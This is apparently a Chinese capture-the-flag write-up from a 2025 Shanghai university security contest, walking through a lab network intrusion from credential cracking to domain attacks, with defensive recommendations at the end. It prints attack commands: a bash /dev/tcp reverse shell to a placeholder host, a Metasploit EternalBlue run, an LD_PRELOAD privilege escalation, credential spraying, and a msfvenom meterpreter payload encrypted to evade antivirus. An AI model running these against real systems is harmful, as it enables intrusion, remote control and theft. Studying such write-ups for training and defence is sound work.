第十届上海市大学生网络安全大赛 暨“磐石行动”2025第三届全国高校网络安全攻防大赛复赛wp
字数 1891 2025-09-01 11:25:54
第十届上海市大学生网络安全大赛暨"磐石行动"2025复赛技术解析与教学文档
1. 初始访问与凭证获取
1.1 加密数据解密
- 访问目标系统时发现报错页面,通过向下滚动页面可以找到加密数据
- 解密方法未明确说明,但推测可能是简单的编码或加密(如Base64、ROT13等)
- 解密后获得凭证格式:
username:password
1.2 凭证爆破
- 使用工具(如hashcat或John the Ripper)对获得的凭证进行爆破
- 成功爆破出有效凭证:
admin:P@ssw0rd_123 - 使用该凭证通过SSH登录系统,获得普通权限
2. 权限提升技术
2.1 利用管理员私钥
- 在系统中发现管理员私钥文件
- 使用私钥连接root用户:
ssh -i admin_private_key root@target_ip
2.2 内网扫描与发现
- 使用fscan工具扫描内网:
fscan -h 192.168.0.0/16 - 发现内网IP 192.168.66.128运行Jenkins服务
2.3 Jenkins凭证泄露利用
- 在当前用户家目录下发现包含Jenkins凭证的代码文件
- 使用泄露的凭证修改HTTP请求的Authorization头进行认证
- 直接访问Jenkins后台管理界面
2.4 Jenkins权限提升
- 使用公开的Jenkins凭证破解脚本:
python jenkins_credential.py -u http://192.168.66.128:8080 -c credentials_file - 通过SSH连接后使用
sudo su命令提权
3. 内网横向移动技术
3.1 密码重置漏洞利用 (CVE-2023-42820)
- 识别存在漏洞的系统
- 构造恶意请求利用任意密码重置漏洞
- 重置高权限账户密码后远程登录
3.2 Web终端提权
- 通过Web终端进入SSH界面
- 构造恶意动态链接库进行提权:
gcc -shared -fPIC -o evil.so evil.c export LD_PRELOAD=/path/to/evil.so
3.3 Struts2漏洞利用
- 识别存在Struts2漏洞的系统
- 使用公开的Struts2漏洞利用工具进行攻击
- 修改administrator密码后远程登录获取flag
3.4 永恒之蓝漏洞利用 (MS17-010)
- 发现内网IP 192.168.99.112存在永恒之蓝漏洞
- 使用Metasploit框架进行攻击:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.99.112 exploit - 注意:靶机环境不稳定,可能需要多次尝试
4. 信息泄露漏洞利用
4.1 路径遍历与任意文件读取
- 发现Readme文件泄露敏感信息
- 审计代码发现XFF头伪造漏洞
- 结合Base64编码和路径穿越(../)读取任意文件:
GET /../../etc/passwd HTTP/1.1 X-Forwarded-For: [base64_encoded_payload]
4.2 配置文件泄露
- 读取web.config文件获取远程登录凭证:
<add name="RemoteUser" connectionString="root:KyHbPqxA3tD8oj17yC" /> - 使用凭证进行远程登录
5. 高级攻击技术
5.1 GeoServer漏洞利用
- 发现8080端口运行的GeoServer
- 直接利用公开漏洞进行攻击
- 部署内存马并使用冰蝎连接:
./geoserver_exploit.py -t target_ip -p 8080 -c "memory_shell"
5.2 数据库攻击
- 发现192.168.188.223运行PostgreSQL数据库
- 直接连接数据库:
psql -h 192.168.188.223 -U postgres - 利用数据库权限sudo读取flag或修改root密码
5.3 SSH漏洞利用 (CVE-2025-32433)
- 发现10.177.166.188:2222运行Erlang/5.2.8 SSH服务
- 使用Python2编写的漏洞利用脚本:
python2 python2.exp.py -t 10.177.166.188 -p 2222 -c "reverse_shell_command" - 反弹shell到公网服务器:
bash -i >& /dev/tcp/your_ip/your_port 0>&1
6. 域渗透技术
6.1 凭证喷洒攻击
- 从数据库获取大量凭证
- 使用工具进行域用户凭证喷洒:
crackmapexec smb domain_controller -u user_list -p password_list - 成功获取一个有效域用户凭证
6.2 域内信息收集
- 发现域内500+用户
- 使用LDAP查询收集更多信息:
ldapsearch -h domain_controller -D "valid_user" -w "password" -b "dc=domain,dc=com"
7. 防御规避技术
7.1 免杀技术
- 在Windows系统上发现df(防御软件)
- 使用自定义编码或加密技术绕过检测:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -e x86/shikata_ga_nai -i 5 -f raw | openssl enc -rc4 -salt -pass pass:key -out payload.bin
8. 工具与资源
- fscan: 内网扫描工具
- Jenkins凭证破解脚本: https://github.com/rabbitmask/Jenkins_Credentials_Crack
- Struts2漏洞利用工具: 多种公开可用工具
- 永恒之蓝利用: Metasploit模块
- GeoServer漏洞利用: 公开的漏洞利用代码
- CVE-2025-32433利用脚本: Python2编写的专用利用工具
9. 总结与最佳实践
- 信息收集是关键: 从报错信息、配置文件、源代码中寻找敏感信息
- 凭证复用: 在不同系统中尝试使用相同的凭证
- 漏洞组合利用: 结合多个漏洞实现更深层次的渗透
- 内网扫描: 定期进行内网扫描发现新目标
- 权限维持: 获取权限后建立持久化访问
- 工具准备: 提前准备好各种环境下的利用工具(如Python2环境)
10. 防御建议
- 修复已知漏洞(如CVE-2023-42820、永恒之蓝等)
- 加强凭证管理,避免硬编码或泄露
- 限制内部服务的访问权限
- 实施网络分段,减少横向移动的可能性
- 监控异常登录行为
- 定期更新系统和应用补丁
- 加强错误信息处理,避免泄露敏感信息